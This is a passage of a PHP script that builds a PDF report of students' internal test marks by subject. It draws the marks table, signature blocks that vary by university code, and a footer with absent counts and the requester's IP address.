$pdf->Ln(1); $pdf->Cell(0,4,$pdf->Exam,0,1,'C'); $pdf->Cell(0,6,$fsubas.' : '.$value['FSUBCODE'].' - '.$value['sub_name'].', Max. Marks: '.$value['FSMAXMARKS'],0,1,'C'); $pdf->SetFont('Times','',11); // if($value['ffreezed'] == 'T') // { // $pdf->Cell(0,5,' Status : FREEZED (READY TO SEND TO UNIVERSITY)',0,1,'C'); // $pdf->FFREEZE = "F"; // } // else // { // if($value['teachfreez'] == 'T') // { // $pdf->Cell(0,5,' Status : FREEZING PENDING (TO BE SENT TO UNIVERSITY AFTER PRINCIPAL FREEZING)',0,1,'C'); // $pdf->FFREEZE = "P"; // }else // { // $pdf->Cell(0,5,' Status : FREEZING PENDING (TO BE SENT TO UNIVERSITY AFTER TEACHER AND PRINCIPAL FREEZING)',0,1,'C'); // $pdf->FFREEZE = "P"; // } // } $pdf->SetFont('Times','B',9); if($FUNIVCODE == '030' || $FUNIVCODE == '052') { $pdf->SetFont('Times','B',10); $pdf->Cell(0,6,' Section : '.$value['fsection'] ,0,1,'L'); $pdf->SetFont('Times','B',9); } $pdf->Ln(2); $pdf->Cell(10,6,'Sl.No.','1',0,'C'); $pdf->Cell(20,6,$pdf->REGROLL,'1',0,'C'); $pdf->Cell(70,6,'Name','1',0,'C'); $pdf->Cell(20,6,'Test 1','1',0,'C'); $pdf->Cell(20,6,'Test 2','1',0,'C'); $pdf->Cell(20,6,'Test 3','1',1,'C'); $first=false; } $pdf->SetFont('Times','',9); $pdf->Cell(10,6,$sl_no,'1',0,'C'); $pdf->Cell(20,6,$value['FREGNO'],'1',0,'L'); $pdf->Cell(70,6,$value['Name1'],'1',0,'L'); $pdf->Cell(20,6,$value['marks11'],'1',0,'C'); $pdf->Cell(20,6,$value['marks21'],'1',0,'C'); $pdf->Cell(20,6,$value['marks31'],'1',1,'C'); } $count++; $row_cnt++; ++$sl_no; ++$k2; } $pdf->Ln(4); if($FUNIVCODE == '018') { if($pdf->FFREEZE=="F") { $pdf->Cell(1500,3,'Marks Enterd By Marks verified by Marks Authorised by','0',1,'L'); $pdf->Ln(2); $pdf->Cell(1500,3,'Signature Faculty Signature Hod/Principal Signature','0',1,'L'); $pdf->Ln(2); $pdf->Cell(1500,3,'Name Faculty Name Hod/Principal Name','0',1,'L'); $pdf->Ln(2); $pdf->Cell(1500,3,'Date Date Date ','0',1,'L'); } else { $pdf->SetFont('Arial','B',20); $pdf->Cell(1500,3,'DRAFT COPY','0',1,'L'); $pdf->SetFont('Times','',10); } } else { $pdf->SetFont('Times','B',10); //$pdf->Cell(50,7,"Note : ** Marks not entered will be treated as Absent for results processing",'0',1,'L'); $pdf->SetFont('Times','',10); $pdf->Cell(50,3,"Date : {$pdf->date_1}",'0',1,'L'); $pdf->Ln(4); $pdf->Cell(50,3,'Entered by','0',0,'L'); $pdf->Cell(110,3,'Signature of the Teaching Faculty','0',1,'R'); $pdf->Ln(10); if($FUNIVCODE == '038') $pdf->Cell(50,3,'Signature of the Dean','0',0,'L'); else $pdf->Cell(50,3,'Signature of the HOD','0',0,'L'); if($FUNIVCODE == '038') $pdf->Cell(110,3,'Signature of the Chairman','0',1,'R'); else if($FUNIVCODE == '050') $pdf->Cell(110,3,'Signature of the Dean','0',1,'R'); else $pdf->Cell(110,3,'Signature of the Principal','0',1,'R'); } $pdf->SetY(-20); $pdf->SetFont('Arial','I',8); $pdf->page_absent_count=0; $pdf->Ln(5); $pdf->Cell(0,3,'Absent on this page : '.$pdf->page_absent_count.' Total Absent : '.$tot_absent,'0',0,'L'); $pdf->Cell(0,3,'IP Address : '.$_SERVER['REMOTE_ADDR'].", Date ".$pdf->date_1,'0',1,'R'); $pdf->Output("report_Subject_wise.pdf","I"); } ?>
Close